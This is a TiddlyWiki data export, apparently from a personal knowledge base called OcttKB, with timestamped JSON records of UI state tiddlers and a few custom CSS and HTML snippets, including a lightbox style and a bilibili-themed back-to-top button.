{"created":"20230117123710757","creator":"Octt","title":"$:/state/plugin-info--700587726-$:/plugins/tiddlywiki/codemirror-closetag","text":"no","modified":"20230117123903141","modifier":"Octt"},
{"created":"20230117123712189","creator":"Octt","title":"$:/state/plugin-info--700587726-$:/plugins/tiddlywiki/codemirror-closetag---1823094083","text":"contents","modified":"20230117123712189","modifier":"Octt"},
2023-01-08 20:13:51 +00:00
{"created":"20230108195622738","title":"$:/state/plugin-info--700587726-$:/plugins/tiddlywiki/railroad","text":"no","modified":"20230108195659610"},
{"created":"20230108195626498","title":"$:/state/plugin-info--700587726-$:/plugins/tiddlywiki/railroad--1474474028","text":"readme","modified":"20230108195657298"},
2022-11-08 23:09:59 +00:00
{"created":"20221108210136971","title":"$:/state/plugin-info-1601463112-$:/themes/tiddlywiki/vanilla","text":"yes","modified":"20221108221817102"},
2023-01-27 17:19:30 +00:00
{"created":"20230127160156542","creator":"Octt","title":"$:/state/plugin-info-1681283782-$:/plugins/felixhayashi/hotzone--1392385024","text":"Configuration","modified":"20230127160158749","modifier":"Octt"},
2023-01-08 20:13:51 +00:00
{"created":"20230108195813986","title":"$:/state/plugin-info-1681785288-$:/plugins/tiddlywiki/qrcode--106465074","text":"readme","modified":"20230108195833018"},
2022-11-08 10:14:14 +00:00
{"created":"20221108100203119","title":"$:/state/plugin-info-1785259528-$:/plugins/tiddlywiki/codemirror-mode-x-tiddlywiki---1739364784","text":"contents","modified":"20221108100244432"},
2022-09-20 14:28:28 +00:00
{"created":"20220920140149154","title":"$:/state/plugin-info-1958370054-$:/core--2000059281","text":"contents","modified":"20220920140149154"},
2023-01-08 20:13:51 +00:00
{"created":"20230108195707554","title":"$:/state/plugin-info-1998008712-$:/plugins/tiddlywiki/railroad--119403598","text":"readme","modified":"20230108195709210"},
2023-02-06 22:43:30 +00:00
{"created":"20220920140732083","creator":"Octt","title":"$:/state/showeditpreview","text":"no","modified":"20230206222546656","modifier":"Octt"},
2022-09-20 14:28:28 +00:00
{"created":"20220920114858684","title":"$:/state/ShowPaletteEditor","text":"yes","modified":"20220920114858684"},
2023-02-05 15:20:07 +00:00
{"created":"20220920174307633","creator":"Octt","title":"$:/state/sidebar","text":"yes","modified":"20230205142034650","modifier":"Octt"},
2022-09-23 08:03:00 +00:00
{"created":"20220922115715109","title":"$:/state/tab--1091387428","text":"Music Archiving Status/Desired","modified":"20220923072023997"},
2023-02-06 11:43:53 +00:00
{"created":"20230109143853256","creator":"Octt","title":"$:/state/tab--1498284803","text":"$:/core/ui/AdvancedSearch/Standard","modified":"20230206111222620","modifier":"Octt"},
2023-01-17 13:05:45 +00:00
{"created":"20230117125310625","creator":"Octt","title":"$:/state/tab--1581376822","text":"$:/plugins/flibbles/relink/ui/TiddlerInfo/References","modified":"20230117125313877","modifier":"Octt"},
2023-01-10 17:13:28 +00:00
{"created":"20230110152826768","title":"$:/state/tab--1588928600","text":"$:/core/ui/TiddlerInfo/Fields","modified":"20230110152833719"},
2022-09-20 19:17:31 +00:00
{"created":"20220920191426046","title":"$:/state/tab--1885964178","text":"$:/core/ui/TiddlerInfo/Tools","modified":"20220920191431231"},
2023-01-29 00:07:39 +00:00
{"created":"20220920090533937","creator":"Octt","title":"$:/state/tab--1963855381","text":"$:/core/ui/ControlPanel/Toolbars","modified":"20230128224551962","modifier":"Octt"},
2023-01-10 17:13:28 +00:00
{"created":"20220920090438306","title":"$:/state/tab--2112689675","text":"$:/core/ui/ControlPanel/Basics","modified":"20230110160759265"},
2023-01-10 23:03:54 +00:00
{"created":"20230110215945671","title":"$:/state/tab--257319936","text":"$:/core/ui/TiddlerInfo/References","modified":"20230110215951590"},
2023-01-24 12:09:08 +00:00
{"created":"20230124112758912","creator":"Octt","title":"$:/state/tab--639260661","text":"$:/core/ui/ControlPanel/Plugins/Add/Updates","modified":"20230124112758912","modifier":"Octt"},
2023-01-08 20:13:51 +00:00
{"created":"20221104182518580","title":"$:/state/tab--697582678","text":"$:/core/ui/ControlPanel/Settings/TiddlyWiki","modified":"20230108193715701"},
2023-01-10 17:13:28 +00:00
{"created":"20220920090526980","title":"$:/state/tab--86143343","text":"$:/core/ui/ControlPanel/Plugins/Installed/Plugins","modified":"20230110151448831"},
2022-09-21 22:17:49 +00:00
{"created":"20220920090443750","title":"$:/state/tab--959111941","text":"$:/core/ui/ControlPanel/Cascades","modified":"20220921221337899"},
2022-09-22 21:38:37 +00:00
{"created":"20220922140851532","title":"$:/state/tab-1087611455","text":"Music Archiving Status/marsy","modified":"20220922212223216"},
2023-02-06 11:43:53 +00:00
{"created":"20230203222331010","creator":"Octt","title":"$:/state/tab-1410043539","text":"$:/plugins/kookma/commander/tag/uicomp/replace-tags","modified":"20230206111512470","modifier":"Octt"},
2023-01-29 00:07:39 +00:00
{"created":"20220920090405977","creator":"Octt","title":"$:/state/tab-1749438307","text":"$:/core/ui/ControlPanel/Appearance","modified":"20230128224549118","modifier":"Octt"},
2023-01-10 23:03:54 +00:00
{"created":"20230110215926447","title":"$:/state/tab-1754034960","text":"$:/core/ui/TiddlerInfo/References","modified":"20230110215935623"},
2022-09-22 15:33:09 +00:00
{"created":"20220922151106305","title":"$:/state/tab-2025781229","text":"Music Archiving Status/Android52","modified":"20220922151357705"},
2023-01-09 17:07:11 +00:00
{"created":"20220920091923734","title":"$:/state/tab-2065006209","text":"$:/core/ui/ControlPanel/Saving/GitLab","modified":"20230109162251967"},
2023-01-12 19:30:05 +00:00
{"created":"20220920090825998","title":"$:/state/tab-224541917","text":"$:/core/ui/ControlPanel/Plugins/Add/Plugins","modified":"20230112164418687"},
2022-09-22 15:33:09 +00:00
{"created":"20220922151801619","title":"$:/state/tab-604877775","text":"Music Archiving Status/Android52","modified":"20220922151856875"},
2023-02-06 22:43:30 +00:00
{"created":"20230117113747884","creator":"Octt","title":"$:/state/tab-668442618","text":"$:/plugins/kookma/commander/tag/ui","modified":"20230206204001738","modifier":"Octt"},
2023-01-08 20:13:51 +00:00
{"created":"20230108195829187","title":"$:/state/tab-791689762","text":"$:/plugins/tiddlywiki/qrcode/MakeContactQR","modified":"20230108195830858"},
2023-01-10 17:13:28 +00:00
{"created":"20230110152841020","title":"$:/state/tab-914888664","text":"$:/core/ui/TiddlerInfo/References","modified":"20230110152841020"},
2022-09-21 22:17:49 +00:00
{"created":"20220921221238452","title":"$:/state/tab-99014043","text":"$:/core/ui/ControlPanel/EditTemplateBody","modified":"20220921221239099"},
2023-02-06 22:43:30 +00:00
{"created":"20220920114911876","creator":"Octt","title":"$:/state/tab/moresidebar-1850697562","text":"$:/core/ui/MoreSideBar/Tags","modified":"20230206203941715","modifier":"Octt"},
{"created":"20220920092307479","creator":"Octt","title":"$:/state/tab/sidebar--595412856","text":"TableOfContents","modified":"20230206220409489","modifier":"Octt"},
2023-01-29 00:07:39 +00:00
{"created":"20220920114638764","creator":"Octt","title":"$:/state/tabs/controlpanel/toolbars-1345989671","text":"$:/core/ui/ControlPanel/Toolbars/PageControls","modified":"20230128224606306","modifier":"Octt"},
2023-01-09 23:37:27 +00:00
{"created":"20230109231545587","text":"inline","title":"$:/state/tag-cloud-count","modified":"20230109231831243"},
2023-02-06 22:43:30 +00:00
{"created":"20230203215715564","creator":"Octt","title":"$:/state/toc/TableOfContents-$:/Tools--1742311157","text":"open","modified":"20230206203737338","modifier":"Octt"},
2023-01-11 22:42:57 +00:00
{"created":"20230111212759834","title":"$:/state/toc/TableOfContents-Apps--1089262602","text":"close","modified":"20230111212800395"},
2023-01-09 23:37:27 +00:00
{"created":"20230109161519933","title":"$:/state/toc/TableOfContents-Apps--118161433","text":"close","modified":"20230109221359461"},
2023-01-13 23:13:05 +00:00
{"created":"20230113225711354","title":"$:/state/toc/TableOfContents-Apps--1742311157","text":"close","modified":"20230113225714092"},
2023-01-11 15:51:30 +00:00
{"created":"20230111152831238","title":"$:/state/toc/TableOfContents-Apps-550494662","text":"close","modified":"20230111152835422"},
2023-01-09 23:37:27 +00:00
{"created":"20230109221055460","title":"$:/state/toc/TableOfContents-OcttKB--118161433","text":"close","modified":"20230109222508816"},
2023-02-06 22:43:30 +00:00
{"created":"20230110183137080","creator":"Octt","title":"$:/state/toc/TableOfContents-OcttKB--1742311157","text":"close","modified":"20230206203736234","modifier":"Octt"},
2023-01-12 15:52:03 +00:00
{"created":"20230110193924411","title":"$:/state/toc/TableOfContents-OcttKB-1491465924","text":"close","modified":"20230112145642401"},
2023-01-26 20:25:57 +00:00
{"created":"20230126190600213","creator":"Octt","title":"$:/state/tree/$:/","text":"hide","modified":"20230126190604989","modifier":"Octt"},
2023-01-10 23:03:54 +00:00
{"created":"20230110224516936","title":"$:/state/tree/$:/.tb/","text":"show","modified":"20230110224516936"},
{"created":"20230110224517512","title":"$:/state/tree/$:/.tb/macros/","text":"show","modified":"20230110224517512"},
2023-01-10 17:13:28 +00:00
{"created":"20221109225835632","title":"$:/state/tree/$:/Apps/","text":"hide","modified":"20230110163406585"},
{"created":"20221109225836608","title":"$:/state/tree/$:/Apps/Dashboard/","text":"hide","modified":"20230110163405409"},
2022-11-07 22:37:15 +00:00
{"created":"20221107223501670","title":"$:/state/tree/$:/boot/","text":"hide","modified":"20221107223514405"},
2023-01-24 22:56:26 +00:00
{"created":"20221107223451478","creator":"Octt","title":"$:/state/tree/$:/config/","text":"hide","modified":"20230124214629374","modifier":"Octt"},
2023-01-24 12:09:08 +00:00
{"created":"20230110224406161","creator":"Octt","title":"$:/state/tree/$:/Config/","text":"hide","modified":"20230124111914349","modifier":"Octt"},
{"created":"20230124111909186","creator":"Octt","title":"$:/state/tree/$:/Config/OcttKB/","text":"show","modified":"20230124111909186","modifier":"Octt"},
{"created":"20230124111910740","creator":"Octt","title":"$:/state/tree/$:/Config/OcttKB/Tweaks/","text":"show","modified":"20230124111910740","modifier":"Octt"},
{"created":"20230124111912310","creator":"Octt","title":"$:/state/tree/$:/Config/OcttKB/Tweaks/Starlight/","text":"show","modified":"20230124111912310","modifier":"Octt"},
2023-01-29 16:36:57 +00:00
{"created":"20221109224641397","creator":"Octt","title":"$:/state/tree/$:/core/","text":"hide","modified":"20230129153835336","modifier":"Octt"},
2023-01-24 22:56:26 +00:00
{"created":"20230124215451478","creator":"Octt","title":"$:/state/tree/$:/core/images/","text":"hide","modified":"20230124215509662","modifier":"Octt"},
2023-01-10 23:03:54 +00:00
{"created":"20221109224642925","title":"$:/state/tree/$:/core/modules/","text":"hide","modified":"20230110194802133"},
{"created":"20221109224645646","title":"$:/state/tree/$:/core/modules/macros/","text":"hide","modified":"20230110194459004"},
{"created":"20230110194514995","title":"$:/state/tree/$:/core/save/","text":"hide","modified":"20230110194521869"},
2023-01-26 11:17:34 +00:00
{"created":"20230110194514220","creator":"Octt","title":"$:/state/tree/$:/core/ui/","text":"show","modified":"20230126102416358","modifier":"Octt"},
2023-01-10 23:03:54 +00:00
{"created":"20230110225336441","title":"$:/state/tree/$:/core/ui/Buttons/","text":"hide","modified":"20230110225412104"},
{"created":"20230110194531428","title":"$:/state/tree/$:/core/ui/ControlPanel/","text":"hide","modified":"20230110225333201"},
2023-01-26 11:17:34 +00:00
{"created":"20230126102425798","creator":"Octt","title":"$:/state/tree/$:/core/ui/ViewTemplate/","text":"show","modified":"20230126102425798","modifier":"Octt"},
2023-01-29 13:17:12 +00:00
{"created":"20230126102628287","creator":"Octt","title":"$:/state/tree/$:/core/ui/ViewTemplate/body/","text":"hide","modified":"20230129122120041","modifier":"Octt"},
{"created":"20230129122121177","creator":"Octt","title":"$:/state/tree/$:/core/ui/ViewTemplate/title/","text":"show","modified":"20230129122121177","modifier":"Octt"},
{"created":"20230110194507332","creator":"Octt","title":"$:/state/tree/$:/core/wiki/","text":"hide","modified":"20230129122358362","modifier":"Octt"},
2023-01-24 12:09:08 +00:00
{"created":"20230124111922848","creator":"Octt","title":"$:/state/tree/$:/GitLab/","text":"hide","modified":"20230124111926905","modifier":"Octt"},
2023-01-24 22:56:26 +00:00
{"created":"20230124111928275","creator":"Octt","title":"$:/state/tree/$:/info/","text":"hide","modified":"20230124214622221","modifier":"Octt"},
2023-01-26 11:17:34 +00:00
{"created":"20230110143952610","creator":"Octt","title":"$:/state/tree/$:/language/","text":"hide","modified":"20230126102737523","modifier":"Octt"},
{"created":"20230126102719945","creator":"Octt","title":"$:/state/tree/$:/language/BinaryWarning/","text":"hide","modified":"20230126102731926","modifier":"Octt"},
{"created":"20220922201011279","creator":"Octt","title":"$:/state/tree/$:/languages/","text":"hide","modified":"20230126102711395","modifier":"Octt"},
2023-01-17 13:05:45 +00:00
{"created":"20220922201015063","creator":"Octt","title":"$:/state/tree/$:/languages/en-GB/","text":"hide","modified":"20230117124102053","modifier":"Octt"},
{"created":"20220922201252688","creator":"Octt","title":"$:/state/tree/$:/languages/it-IT/","text":"hide","modified":"20230117124102629","modifier":"Octt"},
2023-01-24 22:56:26 +00:00
{"created":"20221109224443069","creator":"Octt","title":"$:/state/tree/$:/library/","text":"hide","modified":"20230124214618653","modifier":"Octt"},
2023-01-29 13:17:12 +00:00
{"created":"20221108155618185","creator":"Octt","title":"$:/state/tree/$:/Macros/","text":"show","modified":"20230129122406226","modifier":"Octt"},
2023-01-29 16:36:57 +00:00
{"created":"20230125150238615","creator":"Octt","title":"$:/state/tree/$:/Macros/Breadcrumbs/","text":"show","modified":"20230129153838953","modifier":"Octt"},
2023-01-30 08:25:13 +00:00
{"created":"20230112111343793","creator":"Octt","title":"$:/state/tree/$:/Macros/MediaWiki/","text":"show","modified":"20230130075030178","modifier":"Octt"},
2023-01-25 13:17:38 +00:00
{"created":"20230125093534902","creator":"Octt","title":"$:/state/tree/$:/Macros/View/","text":"hide","modified":"20230125114608509","modifier":"Octt"},
2023-01-25 17:58:21 +00:00
{"created":"20230111091330393","creator":"Octt","title":"$:/state/tree/$:/Manager/","text":"hide","modified":"20230125150328094","modifier":"Octt"},
2023-01-24 12:09:08 +00:00
{"created":"20230124111902915","creator":"Octt","title":"$:/state/tree/$:/Manager/ItemMain/","text":"show","modified":"20230124111902915","modifier":"Octt"},
2023-02-02 11:13:57 +00:00
{"created":"20230111084703963","creator":"Octt","title":"$:/state/tree/$:/OcttKB/","text":"hide","modified":"20230202081522392","modifier":"Octt"},
2023-01-26 11:17:34 +00:00
{"created":"20230124111843850","creator":"Octt","title":"$:/state/tree/$:/OcttKB/Tweaks/","text":"hide","modified":"20230126081751242","modifier":"Octt"},
2022-11-09 14:49:12 +00:00
{"created":"20220920114917653","title":"$:/state/tree/$:/palettes/","text":"hide","modified":"20221109143849684"},
2023-02-05 15:20:07 +00:00
{"created":"20221109143850220","creator":"Octt","title":"$:/state/tree/$:/pluginlibrary/","text":"hide","modified":"20230205141243528","modifier":"Octt"},
2022-11-09 14:49:12 +00:00
{"created":"20221109143850885","title":"$:/state/tree/$:/pluginlibrary/tobibeer/","text":"show","modified":"20221109143850885"},
2023-02-05 15:20:07 +00:00
{"created":"20221108100116751","creator":"Octt","title":"$:/state/tree/$:/plugins/","text":"hide","modified":"20230205141238100","modifier":"Octt"},
2023-01-27 17:19:30 +00:00
{"created":"20230127160143605","creator":"Octt","title":"$:/state/tree/$:/plugins/felixhayashi/","text":"hide","modified":"20230127160201358","modifier":"Octt"},
{"created":"20230127160144629","creator":"Octt","title":"$:/state/tree/$:/plugins/felixhayashi/hotzone/","text":"hide","modified":"20230127160200630","modifier":"Octt"},
{"created":"20230127160136838","creator":"Octt","title":"$:/state/tree/$:/plugins/flibbles/","text":"hide","modified":"20230127160143214","modifier":"Octt"},
{"created":"20230127160139686","creator":"Octt","title":"$:/state/tree/$:/plugins/flibbles/relink/","text":"hide","modified":"20230127160142485","modifier":"Octt"},
2023-02-05 15:20:07 +00:00
{"created":"20230202081911355","creator":"Octt","title":"$:/state/tree/$:/plugins/Gk0Wk/","text":"hide","modified":"20230205141236082","modifier":"Octt"},
2023-02-02 11:13:57 +00:00
{"created":"20230202081919851","creator":"Octt","title":"$:/state/tree/$:/plugins/Gk0Wk/echarts/","text":"show","modified":"20230202081919851","modifier":"Octt"},
{"created":"20230202082828355","creator":"Octt","title":"$:/state/tree/$:/plugins/Gk0Wk/echarts/addons/","text":"show","modified":"20230202082828355","modifier":"Octt"},
{"created":"20230202081931495","creator":"Octt","title":"$:/state/tree/$:/plugins/Gk0Wk/echarts/Snippets/","text":"hide","modified":"20230202082825448","modifier":"Octt"},
2023-01-27 17:19:30 +00:00
{"created":"20230127160127494","creator":"Octt","title":"$:/state/tree/$:/plugins/kookma/","text":"hide","modified":"20230127160135517","modifier":"Octt"},
{"created":"20230127160132125","creator":"Octt","title":"$:/state/tree/$:/plugins/kookma/commander/","text":"hide","modified":"20230127160134637","modifier":"Octt"},
2023-01-08 19:12:06 +00:00
{"created":"20221108100118537","title":"$:/state/tree/$:/plugins/tiddlywiki/","text":"hide","modified":"20230108151518482"},
2023-01-27 17:19:30 +00:00
{"created":"20230110224417824","creator":"Octt","title":"$:/state/tree/$:/plugins/tobibeer/","text":"hide","modified":"20230127160035629","modifier":"Octt"},
{"created":"20230110224506088","creator":"Octt","title":"$:/state/tree/$:/plugins/tobibeer/base64/","text":"hide","modified":"20230127155027995","modifier":"Octt"},
{"created":"20230127155028827","creator":"Octt","title":"$:/state/tree/$:/plugins/tobibeer/inc/","text":"hide","modified":"20230127160034509","modifier":"Octt"},
{"created":"20230127155219788","creator":"Octt","title":"$:/state/tree/$:/plugins/tobibeer/inc/buttons/","text":"hide","modified":"20230127155407828","modifier":"Octt"},
{"created":"20230127155220859","creator":"Octt","title":"$:/state/tree/$:/plugins/tobibeer/inc/templates/","text":"hide","modified":"20230127155320427","modifier":"Octt"},
2023-01-25 17:58:21 +00:00
{"created":"20230124214632814","creator":"Octt","title":"$:/state/tree/$:/snippets/","text":"hide","modified":"20230125152102586","modifier":"Octt"},
2023-01-24 22:56:26 +00:00
{"created":"20221107223237374","creator":"Octt","title":"$:/state/tree/$:/state/","text":"hide","modified":"20230124214608518","modifier":"Octt"},
{"created":"20230111193642716","creator":"Octt","title":"$:/state/tree/$:/status/","text":"hide","modified":"20230124214638278","modifier":"Octt"},
2023-01-27 17:19:30 +00:00
{"created":"20230108193801573","creator":"Octt","title":"$:/state/tree/$:/Styles/","text":"show","modified":"20230127171156933","modifier":"Octt"},
2023-01-24 22:56:26 +00:00
{"created":"20230114162317662","creator":"Octt","title":"$:/state/tree/$:/Styles/1337box/","text":"hide","modified":"20230124213732005","modifier":"Octt"},
2023-01-25 13:17:38 +00:00
{"created":"20230111091048227","creator":"Octt","title":"$:/state/tree/$:/Styles/View/","text":"show","modified":"20230125093600734","modifier":"Octt"},
2023-01-27 17:19:30 +00:00
{"created":"20230126090852091","creator":"Octt","title":"$:/state/tree/$:/tags/","text":"hide","modified":"20230127160233239","modifier":"Octt"},
2023-02-02 11:13:57 +00:00
{"created":"20230124214611814","creator":"Octt","title":"$:/state/tree/$:/temp/","text":"hide","modified":"20230202083912467","modifier":"Octt"},
2023-01-24 22:56:26 +00:00
{"created":"20221107223125902","creator":"Octt","title":"$:/state/tree/$:/themes/","text":"hide","modified":"20230124214644325","modifier":"Octt"},
{"created":"20221107223127310","creator":"Octt","title":"$:/state/tree/$:/themes/tiddlywiki/","text":"hide","modified":"20230124214642870","modifier":"Octt"},
2022-11-07 22:37:15 +00:00
{"created":"20221107223234221","title":"$:/state/tree/$:/themes/tiddlywiki/starlight/","text":"hide","modified":"20221107223236014"},
2023-01-27 17:19:30 +00:00
{"created":"20230109220348891","creator":"Octt","title":"$:/state/tree/$:/ThirdParty/","text":"hide","modified":"20230127160350566","modifier":"Octt"},
2023-01-12 12:07:32 +00:00
{"created":"20230110144530834","title":"$:/state/tree/$:/ThirdParty/Icons/","text":"hide","modified":"20230112093506489"},
2023-01-10 23:03:54 +00:00
{"created":"20230110144531578","title":"$:/state/tree/$:/ThirdParty/Icons/Windows/","text":"hide","modified":"20230110224421384"},
2023-01-14 17:10:26 +00:00
{"created":"20230109220352035","title":"$:/state/tree/$:/ThirdParty/Libs/","text":"hide","modified":"20230114161327811"},
2023-01-27 17:19:30 +00:00
{"created":"20230109220619790","creator":"Octt","title":"$:/state/tree/$:/ThirdParty/TiddlyTools/","text":"hide","modified":"20230127160300278","modifier":"Octt"},
{"created":"20230109220622940","creator":"Octt","title":"$:/state/tree/$:/ThirdParty/TiddlyTools/FilterGenerators/","text":"hide","modified":"20230127160258709","modifier":"Octt"},
{"created":"20230109220622044","creator":"Octt","title":"$:/state/tree/$:/ThirdParty/TiddlyTools/Macros/","text":"hide","modified":"20230127160257958","modifier":"Octt"},
{"created":"20230110224557624","creator":"Octt","title":"$:/state/tree/$:/ThirdParty/tobibeer/","text":"hide","modified":"20230127160347838","modifier":"Octt"},
2023-01-11 15:51:30 +00:00
{"created":"20230110224425624","title":"$:/state/tree/$:/ThirdParty/zemoxian/","text":"hide","modified":"20230111144254721"},
2023-01-24 12:09:08 +00:00
{"created":"20230124111822867","creator":"Octt","title":"$:/state/tree/$:/ThirdPary/","text":"show","modified":"20230124111822868","modifier":"Octt"},
2023-02-02 11:13:57 +00:00
{"created":"20230116211721929","creator":"Octt","title":"$:/state/tree/$:/Tools/","text":"show","modified":"20230202085627573","modifier":"Octt"},
2023-01-26 20:25:57 +00:00
{"created":"20230126193909492","creator":"Octt","title":"$:/state/tree/Apps/","text":"hide","modified":"20230126193911356","modifier":"Octt"},
{"created":"20230126190506324","creator":"Octt","title":"$:/state/tree/Creative Commons/","text":"hide","modified":"20230126193915839","modifier":"Octt"},
{"created":"20230126190558204","creator":"Octt","title":"$:/state/tree/FFmpeg/","text":"hide","modified":"20230126190558725","modifier":"Octt"},
2023-01-27 17:19:30 +00:00
{"created":"20230127124802867","creator":"Octt","title":"$:/state/tree/Internet Archive/","text":"hide","modified":"20230127124803572","modifier":"Octt"},
{"created":"20230127124806587","creator":"Octt","title":"$:/state/tree/Nintendo DS/","text":"hide","modified":"20230127124809123","modifier":"Octt"},
{"created":"20230127124809746","creator":"Octt","title":"$:/state/tree/OcttKB/","text":"hide","modified":"20230127124810547","modifier":"Octt"},
{"created":"20230126190516301","creator":"Octt","title":"$:/state/tree/sed/","text":"hide","modified":"20230127124811827","modifier":"Octt"},
{"created":"20230126190517212","creator":"Octt","title":"$:/state/tree/TiddlyWiki/","text":"hide","modified":"20230127124813012","modifier":"Octt"},
{"created":"20230127124813692","creator":"Octt","title":"$:/state/tree/Wget/","text":"hide","modified":"20230127124814364","modifier":"Octt"},
{"created":"20230126190512628","creator":"Octt","title":"$:/state/tree/X11/","text":"hide","modified":"20230127124815363","modifier":"Octt"},
2023-01-12 22:51:23 +00:00
{"created":"20220920211944968","text":"{{$:/OcttKB/StaticBanner}}","tags":"","title":"$:/StaticBanner","modified":"20230112221911675"},
2023-01-24 15:01:45 +00:00
{"title":"$:/status/RequireReloadDueToPluginChange","text":"no"},
2023-01-17 13:05:45 +00:00
{"created":"20230117123049592","creator":"O","title":"$:/status/UserName","text":"Octt","modified":"20230117123050206","modifier":"Oct"},
2023-02-06 22:43:30 +00:00
{"title":"$:/StoryList","created":"20230206190314988","creator":"Octt","text":"","list":"[[Draft of 'Xiaomi Redmi 9T' by Octt]] $:/Manager OcttKB/Data","modified":"20230206223527271","modifier":"Octt"},
2023-01-14 17:10:26 +00:00
{"created":"20230114161404958","text":"/*\\\nCredits: 1337box by Leah Rowe, Creative Commons Zero 1.0\nInfo: \u003Chttps://vimuser.org/1337box.html>\n\\*/\n.f, .f * {\n position: fixed;\n max-width: 100%;\n max-height: 100%;\n top: 50%;\n left: 50%\n}\n.f * { transform: translate(-50%,-50%) }\n.f {\n display: none;\n top: 0;\n left: 0;\n width: 100%;\n height: 100%;\n z-index: 999;\n background:rgba(0,0,0,0.8);\n}\n*:focus + .f { display:block; }\nimg { cursor:pointer; }\n","title":"$:/Styles/1337box/shadow.css","modified":"20230114163044372","type":"text/css","tags":""},
2023-01-27 17:19:30 +00:00
{"created":"20230124224040783","creator":"Octt","text":"\u003C!-- Original image is by \u003Chttps://bilibili.com> -->\n\u003C!-- \u003Cdiv -->\n\u003Ca\nclass=\"bilibili-back-to-top\"\ntitle=\"Cute little lolis from bilibili to help you reach the top of the page...\"\nstyle=\"\n\ndisplay: block; \nposition: fixed;\n/*\nbottom: 100px;\nright: 20px;\n*/\nbottom: 4px;\nleft: 4px;\ntransform: translateY(0px);\nwidth: 62px;\nheight: 85px;\n/*\nmargin-left: 602px;\n*/\ntransform: scale(0.5);\ncursor: pointer;\nbackground-image: url(https://s1.hdslb.com/bfs/static/jinkela/space/assets/space-to-top.png);\nbackground-position: -40px -44px;\n\n\" href=\"javascript:(function(){\n\nvar Select = [\n '.tc-story-river > .story-backdrop',\n '.tc-sidebar-scrollable .tc-sidebar-header .tc-site-title',\n];\nfor (var i=0; i \u003C Select.length; i++) {\n var Elem = document.querySelectorAll(Select[i])[0];\n Elem.scrollIntoView();\n};\nalert('TODO animation');\n\n})();\">\u003C/a>\n\u003C!--\n\" onclick=\"\n\">\u003C/div>\n-->","tags":"","title":"$:/Styles/bilibili-back-to-top.html","modified":"20230127171431680","modifier":"Octt"},
2023-02-02 19:49:55 +00:00
{"created":"20230126091040410","creator":"Octt","text":".tc-story-river > .tc-tiddler-frame > .tc-tiddler-title .tc-title { display: none; }\n\n.tc-story-river > .tc-tiddler-frame > .View-Breadcrumbs {\n opacity: 0.80;\n/*\n font-size: xx-large;\n margin-top: 0px;\n margin-bottom: -1.5em;\n position: sticky;\n z-index: 512;\n*/\n}\n.tc-story-river > .tc-tiddler-frame:not(.tc-tiddler-missing) > .View-Breadcrumbs > * {\n /*font-style: normal !important;*/\n opacity: 0.40;\n}\n.tc-story-river > .tc-tiddler-frame:not(.tc-tiddler-missing) > .View-Breadcrumbs:hover > * { opacity: 0.80; }\n.tc-story-river > .tc-tiddler-frame > .View-Breadcrumbs > .Inline-Icon > * {\n width: 1em;\n height: 1em;\n vertical-align: top;\n}\n\n/*.View-Breadcrumbs { display: inline-flex; }*/\n\n/*.View-Breadcrumbs > .Inline-Sep:not(.View-Breadcrumbs > .Inline-Sep:last-of-type):before*/\n.View-Breadcrumbs > .Inline-Sep { padding-left: 0.3em; padding-right: 0.3em; }\n.View-Breadcrumbs > .Inline-Sep:after { content: '>'; font-size: smaller; }\n.View-Breadcrumbs > .Inline-Sep > span { font-size: 0px; }\n\n.View-Breadcrumbs > .Path-Elem[data-path-elem=\"$:\"] > a,\n.View-Breadcrumbs > .Path-Elem[data-path-elem=\"$:\"] + .Inline-Sep\n{ color: gray; padding-left: 0em; }\n\n.View-Breadcrumbs > .Path-Elem[data-path-elem=\"$:\"] + .Inline-Sep:after { content: ''; }\n.View-Breadcrumbs > .Path-Elem[data-path-elem=\"$:\"] + .Inline-Sep > span { font-size: revert; font-size: smaller; }\n\n.View-Breadcrumbs > .Path-Elem:last-of-type { cursor: pointer; }\n.View-Breadcrumbs details { display: inline; vertical-align: top; }\n.View-Breadcrumbs details > summary { list-style: none; }\n.View-Breadcrumbs details > .tc-tree { font-size: initial; line-height: 1rem; }\n.View-Breadcrumbs details > .tc-tree > span { display: none; }\n","title":"$:/Styles/Breadcrumbs.css","modified":"20230202191335339","modifier":"Octt","type":"text/css","tags":"$:/tags/Stylesheet"},
2023-02-02 23:30:51 +00:00
{"created":"20230112154615238","creator":"Octt","text":"\\define --HeadingColor0() #c061cb;\n\n.iFrame100 {\nMargin: 0px;\nPadding: 0px;\nWidth: 100vw;\nHeight: 100vh;\n}\n\n.MediaWikiEmbed, .MediaWikiEmbedBlock {\n Border-Left: 4px Solid \u003C\u003C--HeadingColor0>>;\n Padding-Left: 1em /*8px*/;\n}\n\n.MediaWikiEmbedCover { float: right; }\n.MediaWikiEmbedCover > * { max-height: 35vh /*50vh*/; }\n\n.EmbedFrom, .Embed-From,\n.MediaWikiEmbed-From, .MediaWikiEmbedFrom {\n Font-Size: Smaller;\n Font-Style: Italic;\n}\n\n/* input.Checkbox-Btn:after { content: attr(label); } */\n\n.Embed-Fullscreen-Btn { float: right; font-style: revert; margin-top: -2em; }\nlabel.Embed-Fullscreen-Btn { margin-right: 2.5em; }\ninput.Embed-Fullscreen-Btn { width: 2em; height: 2em; }\n\n/* TODO: Different top: positioning based on if mobile or desktop view is active, and if sidebar is open or closed (2em for mobile and sidebar closed, ~0.64em for the rest) */\ninput.Embed-Fullscreen-Btn:checked,\ninput.Embed-Fullscreen-Btn:checked ~ label,\ninput.Embed-Fullscreen-Btn:checked ~ iframe\n{ position: absolute; z-index: 99999; top: 2em/*0.64em*/; right: 0px; }\n\ninput.Embed-Fullscreen-Btn:checked ~ iframe {\n height: calc(100vh - 2em);\n left: 0px;\n right: unset;\n min-width: calc(100vw - 40px);\n}\n","tags":"$:/tags/Stylesheet","title":"$:/Styles/Embed","modified":"20230202225644574","modifier":"Octt"},
2023-01-30 16:20:45 +00:00
{"created":"20230130151417995","creator":"Octt","text":".NoDisplay { display: none; }\n\n.NoSelect {\n\t-webkit-touch-callout: none;\n\t-webkit-user-select: none;\n\t-khtml-user-select: none;\n\t-moz-user-select: none;\n\t-ms-user-select: none;\n\tUser-Select: none;\n}\n","title":"$:/Styles/Global.css","modified":"20230130151526950","modifier":"Octt","tags":"$:/tags/Stylesheet","type":"text/css"},
2023-02-06 22:43:30 +00:00
